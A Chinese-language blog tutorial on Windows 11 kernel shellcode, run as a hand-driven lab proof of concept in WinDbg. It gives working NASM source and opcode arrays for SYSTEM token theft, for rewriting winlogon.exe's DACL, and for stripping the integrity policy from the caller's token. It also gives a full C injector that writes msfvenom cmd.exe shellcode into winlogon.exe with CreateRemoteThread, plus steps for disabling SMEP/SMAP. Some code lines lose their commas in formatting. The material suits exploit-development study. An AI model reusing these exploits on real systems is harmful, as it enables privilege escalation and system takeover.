Windows内核Shellcode

admin 2025年5月23日13:16:43评论1 views字数 33222阅读110分44秒阅读模式
Windows内核Shellcode

这篇文章深入浅出地介绍了Windows内核态Shellcode的开发与应用,特别适合对内核开发和安全研究感兴趣的新手。作者通过通俗易懂的语言,结合实际案例,讲解了什么是内核态Shellcode、它的作用以及如何在Windows系统中编写和运行。文章涵盖了从基础概念到实际操作的步骤,包括如何利用工具调试代码、绕过安全机制(如KASLR)等关键技术。无论你是刚刚踏入系统安全领域,还是希望了解Windows内核开发的初学者,这篇博客都能为你提供一个清晰的起点,帮助你快速上手并激发进一步探索的兴趣!

让我们从所有漏洞的基础和起点开始这篇博客:我们想要注入的代码——shellcode

要实现这三种技术的POC,我们需要将shellcode加载到内核中。为此,我们将使用一个允许我们在NT函数上设置断点的程序,这样我们就可以通过WinDbg手动移动rip寄存器来执行shellcode,并切换SMEP和SMAP。由于我们目前还没有能够构建ROP链的漏洞利用代码,所以所有这些都是手动完成的——这主要还是概念性的。在未来的博客文章中,我们将深入探讨漏洞,届时我们将能够以编程方式完成所有这些操作。但本文的目标纯粹是概念性和理论实践性的,旨在涵盖我们将要讨论的三种shellcode技术。

在我们开始之前,这些技术的全部功劳都归于最初的创造者和出版商Morten Schenk 。

重要提示:

与倾向于多用途的用户空间 shellcode 不同,内核空间 shellcode 通常只专注于提升权限和获取NTSYSTEM状态。

首先,我们需要一个用于 POC 的 Shellcode 加载器。正如我之前提到的,我们需要一个程序将 Shellcode 加载到内存中,并将控制权交给 WinDbg,以便我们手动运行 POC。虽然程序在每次运行之间可能会略有不同,但基本结构如下所示:

#include<stdio.h>#include<windows.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")char charShellcode[] = {// shellcode...};intmain(){printf("nAllocating Kernel Shellcode...n");// Allocate the mem space (CPL 3)  PVOID pShellcode = VirtualAlloc(nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, charShellcode, sizeof(charShellcode));  VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to free the memoryn");  getchar();  CreateTransaction(NULL00000NULL);return0;}

由于 Windows 以频繁更改内核数据结构而闻名,因此所有即将推出的内核 shellcode 都将通过结构偏移引用数据。

我们将调整 shellcode 以匹配 Windows 11 的主机版本。

Nombre de host: ДОБРОЕ-УТРОNombre del sistema operativo: Microsoft Windows 11 ProVersión del sistema operativo: 10.0.22631 N/D Compilación 22631Fabricante del sistema operativo: Microsoft Corporation

令牌窃取

我们要介绍的第一种技术是令牌窃取,它只是用高权限令牌替换被利用进程的令牌System。

在被利用的进程中,我们需要找到该_EPROCESS结构体,它是进程对象的内核表示。与许多其他 Windows 结构体一样,_EPROCESS该结构体位于与其他元素的固定偏移量处,而这些元素最终依赖于常量。在我们的例子中,该常量是GS寄存器,在偏移量处0x188,我们可以找到_KTHREAD当前进程的 。我们将它保存在r9寄存器中以供后续使用:

mov r9, qword gs:[0x188]

现在我们已经将 存储_KTHREAD在 中r9,我们可以使用它来定位_EPROCESS,它是0x220字节数(EPROCESS = KTHREAD + 0x220):

2: kd> dt _KTHREAD Processntdll!_KTHREAD   +0x220 Process : Ptr64 _KPROCESS
翻译成:
mov r9, qword [r9+0x220]
由于我们想要提升父进程的权限,因此需要找到 的进程 ID cmd.exe。我们还意识到,这个偏移量与旧版 Windows 10 有所不同。

Windows内核Shellcode
Windows内核Shellcode

理论上,我们应该检查conhost.exe,这意味着我们应该更深入一层——我们的 PPID 应该是0x1a8c。

2: kd> dt nt!_EPROCESS InheritedFromUniqueProcessId   +0x540 InheritedFromUniqueProcessId : Ptr64 Void
在 nasm 中:
mov r8, qword [r9 + 0x540]
现在我们已经保存了 的 PID cmd.exe,但在继续之前,我们需要找到它_EPROCESS在内存中的地址。如果我们检查当前进程 ( kscldr.exe),我们可以看到 的偏移量为0x440,并且和0x448。后者是一个对象链表,可以遍历并与中存储的 PID进行比较。UniqueProcessId ActiveProcessLinks_EPROCESS cmd.exe r8

2: kd> dt _EPROCESSntdll!_EPROCESS   +0x000 Pcb : _KPROCESS...   +0x440 UniqueProcessId : Ptr64 Void   +0x448 ActiveProcessLinks : _LIST_ENTRY...

其结果是:

loop1:movr9qword[r9+0x448]subr9, 0x448movr10qword[r9+0x440]cmpr10r8jneloop1
一旦我们找到了cmd.exe  _EPROCESS结构,我们就可以检查它并在偏移量处找到0x4b8令牌对象:
2: kd> dt _EPROCESS Tokenntdll!_EPROCESS   +0x4b8 Token : _EX_FAST_REF
将其存储在rcx寄存器中:
mov rax, r9add rax, 0x4b8
现在我们只需要找到System进程(PID 4)并提取其令牌。我们循环遍历与之前相同的链表,直到找到 ID 为 4 的进程:
mov rax, r9 ; get the cmd.exe's token    loop2:      mov r9, qword [r9+0x448]      sub r9, 0x448      mov r10, qword [r9+0x440]      cmp r10, 4      jne loop2
最后,我们用系统令牌cmd.exe(存储在中)覆盖现有令牌(存储在中):rcx  rdx

mov r9, qword [r9+0x4b8]    mov [rax], r9    ret

Token 窃取

首先,让我们创建一个分配用户模式缓冲区的 C 程序。然后,我们将使用断点从 WinDbg 触发 NT 函数,这样我们就可以在上下文中查看缓冲区。

#include<stdio.h>#include<windows.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")// Kernel mode shellcodechar charShellcode[] = {0x900x650x4C0x8B0x0C0x250x880x010x000x000x4D0x8B0x890x200x020x000x000x4D0x8B0x810x400x050x000x000x4D0x8B0x890x480x040x000x000x490x810xE90x480x040x000x000x4D0x8B0x910x400x040x000x000x4D0x390xC20x750xE60x4C0x890xC80x480x050xB80x040x000x000x4D0x8B0x890x480x040x000x000x490x810xE90x480x040x000x000x4D0x8B0x910x400x040x000x000x490x830xFA0x040x750xE50x4D0x8B0x890xB80x040x000x000x4C0x890x080xC30x900x900x90};intmain(){printf("nAllocating Kernel Shellcode...n");// asignamos el espacio  PVOID pShellcode = VirtualAlloc(nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, charShellcode, 100);  VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to free the memoryn");  getchar();  CreateTransaction(NULL00000NULL);return0;}

编写完 shellcode 后,使用 nasm 进行编译:

nasm -f bin MyTokenElevate.asm

查看反汇编:

ndisasm -b 64 MyTokenElevate

使用HxD将操作码复制到您的 C 程序中:

Windows内核Shellcode

这是我们的汇编代码:

section .textBITS 64    nop    mov r9, qword [gs:0x188] ; obtenemos el _KTHREAD    mov r9, qword [r9 + 0x220] ; obtenemos el _EPROCESS/_KPROCESS    mov r8, qword [r9 + 0x540] ; get the InheritedFromUniqueProcessId (cmd.exe PID)    loop1:      mov r9, qword [r9+0x448] ; go to the flink      sub r9, 0x448 ; back to the start of _EPROCESS      mov r10, qword [r9+0x440] ; get the UniqueProcessId      cmp r10, r8 ; compare both PIDs      jne loop1    mov rax, r9 ; get the cmd.exe's token    add rax, 0x4b8 ; get the address of _EPROCESS on Token position    loop2:      mov r9, qword [r9+0x448] ; go to the flink      sub r9, 0x448 ; go to the _EPROCESS' structure start      mov r10, qword [r9+0x440] ; Gett the UniqueProcesId      cmp r10, 4              ; compare the process ID with 4      jne loop2    mov r9, qword [r9+0x4b8]    mov [rax], r9    retend
这是我们的二进制文件:

Windows内核Shellcode

一旦我们获得了操作码,我们就必须将其粘贴到我们的 UM 缓冲区中。

...char charShellcode[] = {0x900x650x4C0x8B0x0C0x250x880x010x000x000x4D0x8B0x890x200x020x000x000x4D0x8B0x810x400x050x000x000x4D0x8B0x890x480x040x000x000x490x810xE90x480x040x000x000x4D0x8B0x910x400x040x000x000x4D0x390xC20x750xE60x4C0x890xC80x480x050xB80x040x000x000x4D0x8B0x890x480x040x000x000x490x810xE90x480x040x000x000x4D0x8B0x910x400x040x000x000x490x830xFA0x040x750xE50x4D0x8B0x890xB80x040x000x000x4C0x890x080xC30x900x900x90};...
现在我们可以在虚拟机中执行我们的程序:

Windows内核Shellcode

缓冲区地址被打印出来。当我们按下 时<ENTER>,它会触发NtCreateTransaction系统调用——在该函数上设置一个断点:

bp nt!NtCreateTransaction
Windows内核Shellcode

一旦断点命中,我们将执行几个关键步骤:

  • 确保缓冲区可见且完好无损

  • 通过修改禁用SMAP和SMEPcr4

  • 修改rip为指向缓冲区的开始

Windows内核Shellcode
Windows内核Shellcode
缓冲区看起来不错。

Windows内核Shellcode

SMAP 和 SMEP 已禁用。

Windows内核Shellcode

然后我们使用 跳过 shellcode p。

Windows内核Shellcode
Windows内核Shellcode
Windows内核Shellcode
Windows内核Shellcode

最后,禁用断点并恢复原始rip值以返回到之前的执行上下文。

Windows内核Shellcode
Windows内核Shellcode

ACL-ACE 编辑

这是我们的行动计划:

  1. 找到SecurityDescriptor里面的指针winlogon.exe

  2. 在这里我们应该找到SECURITY_DESCRIPTOR对象,它包含一个带有ACCESS_ALLOWED_ACE的DACL

  3. 将ACE的 SID 修改为S-1-5-11(“登录用户”的标准 SID)

  4. 将利用进程的“强制完整性策略”从当前值“0”覆盖,这样我们就可以访问winlogon

ACL-ACE 编辑实验室 (24H2 (2024 更新)

我们的目标是注入shellcodewinlogon.exe并获取特权cmd.exe。为此,我们需要两样东西:加载shellcode并拥有一个进程注入器。

首先,我们要找到_EPROCESS目标进程的地址winlogon.exe:

0: kd> !process 00 winlogon.exePROCESS ffffe7814a54d080SessionId1Cid033Peb46af345000 ParentCid02b4DirBase228a3c000 ObjectTable: ffff9e0c91211bc0 HandleCount275.Image: winlogon.exe

winlogon _EPROCESS' 是0xffffe7814a54d080

  • _EPROCESS≈_OBJECT_HEADER + 0x30 (48 字节) 在x64上。

  • _EPROCESS_OBJECT_HEADER + 0x18在x86上约为(24 字节) 。

位于SecurityDescriptor内部_OBJECT_HEADER,并且该结构位于 之前_EPROCESS:

//0x38 bytes (sizeof)struct _OBJECT_HEADER{    LONGLONG PointerCount; //0x0union    {        LONGLONG HandleCount; //0x8        VOID* NextToFree; //0x8    };struct _EX_PUSH_LOCKLock;//0x10    UCHAR TypeIndex; //0x18union    {        UCHAR TraceFlags; //0x19struct        {            UCHAR DbgRefTrace:1//0x19            UCHAR DbgTracePermanent:1//0x19        };    };    UCHAR InfoMask; //0x1aunion    {        UCHAR Flags; //0x1bstruct        {            UCHAR NewObject:1//0x1b            UCHAR KernelObject:1//0x1b            UCHAR KernelOnlyAccess:1//0x1b            UCHAR ExclusiveObject:1//0x1b            UCHAR PermanentObject:1//0x1b            UCHAR DefaultSecurityQuota:1//0x1b            UCHAR SingleHandleEntry:1//0x1b            UCHAR DeletedInline:1//0x1b        };    };    ULONG Reserved; //0x1cunion    {struct _OBJECT_CREATE_INFORMATIONObjectCreateInfo;//0x20        VOID* QuotaBlockCharged; //0x20    };    VOID* SecurityDescriptor; //0x28struct _QUADBody;//0x30};

这个结构在 之前有 0x30 个十六进制字节_EPROCESS,在这里我们可以找到这个_SECURITY_DESCRIPTOR结构。

Windows内核Shellcode
Windows内核Shellcode

_SECURITY_DESCRIPTOR有winlogon.exe:

//0x28 bytes (sizeof)struct _SECURITY_DESCRIPTOR{    UCHAR Revision; //0x0    UCHAR Sbz1; //0x1    USHORT Control; //0x2    VOID* Owner; //0x8    VOID* Group; //0x10struct _ACLSacl;//0x18struct _ACLDacl;//0x20};
  • UCHAR Revision; // 0x0 (1 byte)

  • 指示安全描述符的版本。

  • 目前最常见的值是1。

  • UCHAR Sbz1; // 0x1 (1 byte)

  • 保留供将来使用,不应修改。

  • USHORT Control; // 0x2 (2 bytes)

  • 包含描述描述符状态的标志。

  • 可以指示 ACL 是否存在或描述符是否自动生成。

  • VOID* Owner; // 0x8 (8 bytes on x64)

  • 指向对象所有者的指针。

  • 通常是 SID。

  • VOID* Group; // 0x10 (8 bytes on x64)

  • 指向对象组的指针。

  • 通常也是 SID。

  • struct _ACL* Sacl; // 0x18 (8 bytes on x64)

  • 指向SACL 的指针。

  • 用于审计和访问日志记录。

  • struct _ACL* Dacl; // 0x20 (8 bytes on x64)

  • 指向DACL 的指针。

  • 定义用户对对象的权限。

我们要修改的是DACL,它指定了各个用户对对象的访问权限winlogon.exe。根据 MSDN,ACL 的结构如下:

//0x8 bytes (sizeof)struct _ACL{    UCHAR AclRevision; //0x0    UCHAR Sbz1; //0x1    USHORT AclSize; //0x2    USHORT AceCount; //0x4    USHORT Sbz2; //0x6};
这里没有提到的是,ACL 对象只是一个头部,实际内容位于后续的访问控制条目(ACE)中。对于 DACL,有两种 ACE 类型:ACCESS_ALLOWED_ACE和ACCESS_DENIED_ACE。我们感兴趣的是ACCESS_ALLOWED_ACE。

Windows内核Shellcode

通过ACCESS_MASK指定ACCESS_ALLOWED_ACE某个 SID 具有什么权限。

总而言之,该SecurityDescriptor指针指向一个SECURITY_DESCRIPTOR对象,该对象包含一个带有一个或多个结构的 DACL ACCESS_ALLOWED_ACE。需要遍历的结构有很多,但幸运的是,我们可以使用 WinDbg 命令将它们全部转储出来:!sd,该命令将SecurityDescriptor指针作为参数。

Windows内核Shellcode

SecurityDescriptor是:0xffff8585eda43e2f

Windows内核Shellcode

什么是快速引用指针?内核处理进程、文件或安全描述符等对象时,通常使用引用计数指针。它们的工作原理是:每当线程使用某个对象时,计数器增加;使用完毕后,计数器减少。一旦计数归零,该对象就会被释放。

该系统运行良好,但在多核系统上存在性能问题:

  • 每次引用计数的改变都需要同步。

  • 它通常涉及昂贵的原子操作。

  • 在高并发性下,所有 CPU 可能会尝试更新同一个计数器,从而造成瓶颈。

在 上x64,快速引用是 4 位,因此我们需要剥去低 4 位才能得到真实地址(<address> & ~0xf):

Windows内核Shellcode

这里我们有表示的安全描述符winlogon.exe。

这告诉我们很多信息:AceCountDACL 中的 为 2(0x0和0x1),这意味着有两个 ACE,both ACCESS_ALLOWED_ACE。一个用于NT AUTHORITY SYSTEM,另一个用于BUILTIN Administrators。它还表明SYSTEM对该进程拥有完全权限。

获取访问权限的途径有很多winlogon.exe,但我们选择获取 SYSTEM 权限。其思路是将SYSTEM SID 替换为一个低权限组,这样该组中的任何成员都可以获得该进程的完全访问权限。

为此,我们需要在内存中找到 SID。回到 DACL 结构,ACL 应该位于偏移量 处0x20,正如我们在 WinDbg 中看到的那样:

Windows内核Shellcode

不幸的是,我们没有 的符号_ACCESS_ALLOWED_ACE,但我们有结构,所以我们可以计算最多 的字节偏移量SidStart:

typedefstruct _ACCESS_ALLOWED_ACE {  ACE_HEADER Header;  ACCESS_MASK Mask;  ULONG SidStart;} ACCESS_ALLOWED_ACE;
Windows内核Shellcode
typedefstruct _ACE_HEADER {  UCHAR AceType;  UCHAR AceFlags;  USHORT AceSize;} ACE_HEADER;
这是_ACE_HEADER:

Windows内核Shellcode

我们看到的ACE_HEADER是4个字节。

  • ACCESS_MASK一个是DWORD(4个字节),

  • SidStart一个是ULONG(也是4个字节)。

因此十六进制转储中的前 4 个字节是ACE_HEADER+ ACCESS_MASK,并SidStart从偏移量 +8 开始。

现在让我们在 WinDbg 中进行字节交换:

typedef DWORD ACCESS_MASK;typedef ACCESS_MASK* PACCESS_MASK;
Windows内核Shellcode

我们搜索0x12与我们的 SID 对应的:

Windows内核Shellcode

我们转储十六进制数据并找到0x12。

注意:我们添加0x20到 DACL 的开头,而我们想要的数据位于0x28。

修改后,我们得到:

Windows内核Shellcode

现在 SID 是Authenticated Users。

接下来,我们执行 ProcessInjector 来创建一个远程线程,该线程运行 shellcode 来cmd.exe作为子进程生成:

#include<stdio.h>#include<windows.h>#include<tlhelp32.h>// 280 bytes// EXITFUNC=thread// msfvenom -p windows/x64/exec CMD=cmd.exe -f raw EXITFUNC=threadunsignedchar pPayload[] = {0xFC0x480x830xE40xF00xE80xC00x000x000x000x410x510x410x500x520x510x560x480x310xD20x650x480x8B0x520x600x480x8B0x520x180x480x8B0x520x200x480x8B0x720x500x480x0F0xB70x4A0x4A0x4D0x310xC90x480x310xC00xAC0x3C0x610x7C0x020x2C0x200x410xC10xC90x0D0x410x010xC10xE20xED0x520x410x510x480x8B0x520x200x8B0x420x3C0x480x010xD00x8B0x800x880x000x000x000x480x850xC00x740x670x480x010xD00x500x8B0x480x180x440x8B0x400x200x490x010xD00xE30x560x480xFF0xC90x410x8B0x340x880x480x010xD60x4D0x310xC90x480x310xC00xAC0x410xC10xC90x0D0x410x010xC10x380xE00x750xF10x4C0x030x4C0x240x080x450x390xD10x750xD80x580x440x8B0x400x240x490x010xD00x660x410x8B0x0C0x480x440x8B0x400x1C0x49,0x010xD00x410x8B0x040x880x480x010xD00x410x580x410x580x5E0x590x5A0x410x580x410x590x410x5A0x480x830xEC0x200x410x520xFF0xE0,0x580x410x590x5A0x480x8B0x120xE90x570xFF0xFF0xFF0x5D0x480xBA0x010x000x000x000x000x000x000x000x480x8D0x8D0x010x010x000x000x410xBA0x310x8B0x6F0x870xFF0xD50xBB0xE00x1D0x2A0x0A0x410xBA0xA60x950xBD0x9D0xFF0xD50x480x830xC40x280x3C0x060x7C0x0A0x800xFB0xE00x750x050xBB0x470x130x720x6F0x6A0x000x590x410x890xDA0xFF0xD50x630x6D0x640x2E0x650x780x650x000x000x000x000x000x00};boolProcessEnum(constwchar_t* wcProcess, DWORD *ProcId){  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {printf("n[ERROR GETTING "hSnapshot"] -> %dn", GetLastError());returnfalse;  }  PROCESSENTRY32W ProcEntry = { 0 };  ProcEntry.dwSize = sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, &ProcEntry)) {printf("n[ERROR at "Process32FirstW"] -> %dn", GetLastError());returnfalse;  }do {if (lstrcmpW(ProcEntry.szExeFile, wcProcess) == 0) {      wprintf(L"n[+] Process found -> "%s"nt\__PID -> %dn", ProcEntry.szExeFile, ProcEntry.th32ProcessID);      *ProcId = ProcEntry.th32ProcessID;break;    }  } while (Process32NextW(hSnapshot, &ProcEntry));returntrue;}boolRemoteInjection(DWORD dwPid){  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);if (hProcess == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE HANDLE TO THE PROCESS] -> %dn", GetLastError());returnfalse;  }printf("n[HANDLE]n");  PVOID pRemoteAddress = VirtualAllocEx(hProcess, nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (pRemoteAddress == nullptr) {printf("n[ERROR ALLOCATING THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse;  }printf("n[BUFFER]n");  SIZE_T BytesWritten = 0;if (!WriteProcessMemory(hProcess, pRemoteAddress, pPayload, 280nullptr)) {printf("n[ERROR WRITTING THE SHELLCODE INTO THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse;  }printf("n[SHELLCODE]n");  HANDLE CreateThread = CreateRemoteThread(hProcess, nullptr0, (LPTHREAD_START_ROUTINE)pRemoteAddress, nullptr0nullptr);if (CreateThread == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE REMOTE THREAD] -> %dn", GetLastError());returnfalse;  }  WaitForSingleObject(CreateThread, INFINITE);  VirtualFreeEx(hProcess, pRemoteAddress, 0x1000, MEM_RELEASE);  CloseHandle(hProcess);  CloseHandle(CreateThread);returntrue;}intmain(){constwchar_t* wcProcess = L"winlogon.exe";  DWORD dwPid = 0;  wprintf(L"nPress <ENTER> to inject shellcode (cmd.exe) into %s processn", wcProcess);  getchar();if (!ProcessEnum(wcProcess, &dwPid)) {printf("n[main] error enumerating processesn");return1;  }if (!RemoteInjection(dwPid)) {printf("n[main] error executing the remote processn");return1;  }return0;}

我们编译它并将其移动到目标操作系统。

Windows内核Shellcode

我们没有看到任何效果。那是因为我们没有权限打开winlogon.exe

所以我们需要改变令牌

Windows内核Shellcode

再次,由于它是一个快速引用,我们删除最后 4 位

Windows内核Shellcode

是_TOKEN的结构ProcessInjector.exe。

我们关心的领域是MandatoryPolicy:

Windows内核Shellcode
Windows内核Shellcode

这个参数决定了我们的流程是否可以与完整性更高的流程进行交互。

查看:Integrity Levelwinlogon.exe

Windows内核Shellcode

是 4 级。在我们的流程中,它是第 1 级:

Windows内核Shellcode

所以我们要MandatoryPolicy覆盖ProcessInjector.exe:

Windows内核Shellcode
Windows内核Shellcode

完毕

shellcode 需要:

  • _EPROCESS通过遍历所有_EPROCESS条目并比较前 4 个字符(“winl”)来查找winlogon.exe

  • 修改 DACL,将 SYSTEM SID 切换为Authenticated Users

  • 再次迭代_EPROCESS修改令牌并删除高完整性限制

0: kd> dt nt!_KTHREAD Process   +0x220 Process : Ptr64 _KPROCESS
BITS64section .text  nop  mov r8, qword [gs:0x188] ; Get _KTHREAD Address into r8  mov r8, qword [r8 + 0x220] ; Get _EPROCESS Address  mov rcx, r8 ; save Exploit process' _EPROCESS structure on rcx...

现在我们循环按名称查找进程:

...  loop1:    mov r8, qword [r8 + 0x448] ; move the flink into r8    sub r8, 0x448              ; go back to the start of the struct    cmp dword [r8+0x5a8], 0x6C6E6977    ; compare if it is equal to the first 4 characters "winl" (little endiand so "lniw")    jnz loop1...

_EPROCESS我们现在有winlogon.exe r9:

0: kd> dt nt!_OBJECT_HEADER ffffa10df2e79080-30 SecurityDescriptor   +0x028 SecurityDescriptor 0xffffdd83`27a4feaf Void
Windows内核Shellcode
...sub r8, 0x30 ; get the _OBJECT_HEADER of winlogon.exe  mov r8, [r8 + 0x28]              ; move to the SecurityDescriptor parameter  and r8, 0xfffffffffffffff0 ; get the pointer to the object instead the fast reference pointer  mov byte [r8+0x20+0x28], 0x0b ; _SECURITY_DESCRIPTOR + 0x20 (DACL start) + 0x28 (byte we want to change); 0x12 (SYSTEM) -> 0x0b (Authenticated Users; sid S-1-5-18 (SYSTEM) Full Process Control -> S-1-5-11 Full Process Control (Authenticated Users)...

现在我们已经修改了的DACLwinlogon.exe,接下来该做什么呢?允许我们的进程拥有 winlogon.exe 的句柄。

dt nt!_EPROCESS ffffa10df89cd080 Token   +0x4b8 Token : _EX_FAST_REF0: kd> dt nt!_TOKEN (poi(ffffa10df89cd080+0x4b8)&0xfffffffffffffff0)   +0x000 TokenSource : _TOKEN_SOURCE   +0x010 TokenId : _LUID   +0x018 AuthenticationId : _LUID   +0x020 ParentTokenId : _LUID   +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffff36`d5969fff   +0x030 TokenLock : 0xffffa10d`f9f72390 _ERESOURCE   +0x038 ModifiedId : _LUID   +0x040 Privileges : _SEP_TOKEN_PRIVILEGES   +0x058 AuditPolicy : _SEP_AUDIT_POLICY   +0x078 SessionId : 1   +0x07c UserAndGroupCount : 0x10   +0x080 RestrictedSidCount : 0   +0x084 VariableLength : 0x234   +0x088 DynamicCharged : 0x1000   +0x08c DynamicAvailable : 0   +0x090 DefaultOwnerIndex : 0   +0x098 UserAndGroups : 0xffffdd83`397d34f0 _SID_AND_ATTRIBUTES   +0x0a0 RestrictedSids : (null)    +0x0a8 PrimaryGroup : 0xffffdd83`2eac7560 Void   +0x0b0 DynamicPart : 0xffffdd83`2eac7560 -> 0x501   +0x0b8 DefaultDacl : 0xffffdd83`2eac757c _ACL   +0x0c0 TokenType : 1 ( TokenPrimary )   +0x0c4 ImpersonationLevel : 0 ( SecurityAnonymous )   +0x0c8 TokenFlags : 0x4a00   +0x0cc TokenInUse : 0x1''   +0x0d0 IntegrityLevelIndex : 1   +0x0d4 MandatoryPolicy : 1...
...  mov rcx, [rcx+0x4b8] ; get the exploit process' _TOKEN structure  and rcx, 0xfffffffffffffff0 ; get the pointer to the object and not the fast reference  mov byte [rcx + 0x0d4], 0x0 ; set MandatoryPolicy to0 (open handle toany process besides the privilege)  nop  retend

现在MandatoryPolicy= 0

现在让我们加载shellcode。我们修改了ProcessInjection程序,并通过提取shellcode HxD。

Windows内核Shellcode
Windows内核Shellcode
#include<stdio.h>#include<windows.h>#include<tlhelp32.h>#include<ktmw32.h>#pragma comment(lib,"KtmW32.lib")// buffer que vamos a asignar para que el kernel lo ejecutechar KernelShellcode[] = {0x900x650x4C0x8B0x040x250x880x010x000x000x4D0x8B0x800x200x020x000x000x4C0x890xC10x4D0x8B0x800x480x040x000x000x490x810xE80x480x040x000x000x410x810xB80xA80x050x000x000x770x690x6E0x6C0x750xE50x490x830xE80x300x4D0x8B0x400x280x490x830xE00xF00x410xC60x400x480x0B0x480x8B0x890xB80x040x000x000x480x830xE10xF00xC60x810xD40x000x000x000x000x900xC30x000x000x000x000x000x00};// 280 bytes// EXITFUNC=thread// msfvenom -p windows/x64/exec CMD=cmd.exe -f raw EXITFUNC=threadunsignedchar pPayload[] = {0xFC0x480x830xE40xF00xE80xC00x000x000x00,0x410x510x410x500x520x510x560x480x310xD2,0x650x480x8B0x520x600x480x8B0x520x180x48,0x8B0x520x200x480x8B0x720x500x480x0F0xB7,0x4A0x4A0x4D0x310xC90x480x310xC00xAC0x3C,0x610x7C0x020x2C0x200x410xC10xC90x0D0x41,0x010xC10xE20xED0x520x410x510x480x8B0x52,0x200x8B0x420x3C0x480x010xD00x8B0x800x88,0x000x000x000x480x850xC00x740x670x480x01,0xD00x500x8B0x480x180x440x8B0x400x200x49,0x010xD00xE30x560x480xFF0xC90x410x8B0x34,0x880x480x010xD60x4D0x310xC90x480x310xC0,0xAC0x410xC10xC90x0D0x410x010xC10x380xE0,0x750xF10x4C0x030x4C0x240x080x450x390xD1,0x750xD80x580x440x8B0x400x240x490x010xD0,0x660x410x8B0x0C0x480x440x8B0x400x1C0x49,0x010xD00x410x8B0x040x880x480x010xD00x41,0x580x410x580x5E0x590x5A0x410x580x410x59,0x410x5A0x480x830xEC0x200x410x520xFF0xE0,0x580x410x590x5A0x480x8B0x120xE90x570xFF,0xFF0xFF0x5D0x480xBA0x010x000x000x000x00,0x000x000x000x480x8D0x8D0x010x010x000x00,0x410xBA0x310x8B0x6F0x870xFF0xD50xBB0xE0,0x1D0x2A0x0A0x410xBA0xA60x950xBD0x9D0xFF,0xD50x480x830xC40x280x3C0x060x7C0x0A0x80,0xFB0xE00x750x050xBB0x470x130x720x6F0x6A,0x000x590x410x890xDA0xFF0xD50x630x6D0x64,0x2E0x650x780x650x000x000x000x000x000x00};boolProcessEnum(constwchar_t* wcProcess, DWORD* ProcId){  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {printf("n[ERROR GETTING "hSnapshot"] -> %dn", GetLastError());returnfalse;  }  PROCESSENTRY32W ProcEntry = { 0 };  ProcEntry.dwSize = sizeof(PROCESSENTRY32W);if (!Process32FirstW(hSnapshot, &ProcEntry)) {printf("n[ERROR at "Process32FirstW"] -> %dn", GetLastError());returnfalse;  }do {if (lstrcmpW(ProcEntry.szExeFile, wcProcess) == 0) {      wprintf(L"n[+] Process found -> "%s"nt\__PID -> %dn", ProcEntry.szExeFile, ProcEntry.th32ProcessID);      *ProcId = ProcEntry.th32ProcessID;break;    }  } while (Process32NextW(hSnapshot, &ProcEntry));returntrue;}boolRemoteInjection(DWORD dwPid){  HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);if (hProcess == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE HANDLE TO THE PROCESS] -> %dn", GetLastError());returnfalse;  }printf("n[HANDLE]n");  PVOID pRemoteAddress = VirtualAllocEx(hProcess, nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (pRemoteAddress == nullptr) {printf("n[ERROR ALLOCATING THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse;  }printf("n[BUFFER]n");  SIZE_T BytesWritten = 0;if (!WriteProcessMemory(hProcess, pRemoteAddress, pPayload, 280nullptr)) {printf("n[ERROR WRITTING THE SHELLCODE INTO THE REMOTE BUFFER] -> %dn", GetLastError());returnfalse;  }printf("n[SHELLCODE]n");  HANDLE CreateThread = CreateRemoteThread(hProcess, nullptr0, (LPTHREAD_START_ROUTINE)pRemoteAddress, nullptr0nullptr);if (CreateThread == INVALID_HANDLE_VALUE) {printf("n[ERROR CREATING THE REMOTE THREAD] -> %dn", GetLastError());returnfalse;  }  WaitForSingleObject(CreateThread, INFINITE);  VirtualFreeEx(hProcess, pRemoteAddress, 0x1000, MEM_RELEASE);  CloseHandle(hProcess);  CloseHandle(CreateThread);returntrue;}intmain(){printf("nAllocating Kernel Shellcode...n");// asignamos el espacio  PVOID pShellcode = VirtualAlloc(nullptr0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  RtlSecureZeroMemory(pShellcode, 0x1000);memcpy(pShellcode, KernelShellcode, 90);  VirtualLock(pShellcode, 0x1000);printf("n[SHELLCODE ADDRESS] 0x%pn", pShellcode);printf("nPress <ENTER> to trigger NtCreateTransaction syscalln");  getchar();  CreateTransaction(NULL00000NULL);constwchar_t* wcProcess = L"winlogon.exe";  DWORD dwPid = 0;  wprintf(L"nPress <ENTER> to inject shellcode (cmd.exe) into %s processn", wcProcess);  getchar();if (!ProcessEnum(wcProcess, &dwPid)) {printf("n[main] error enumerating processesn");return1;  }if (!RemoteInjection(dwPid)) {printf("n[main] error executing the remote processn");return1;  }return0;}
我们在目标操作系统上运行它:

Windows内核Shellcode

我们在 NtCreateTransaction 上设置一个 BP,检查 shellcode 缓冲区,禁用 SMAP 和 SMEP,设置 rip,单步执行,在 shellcode 的 ret 上设置一个 BP,继续 g,重置 rip,然后继续:

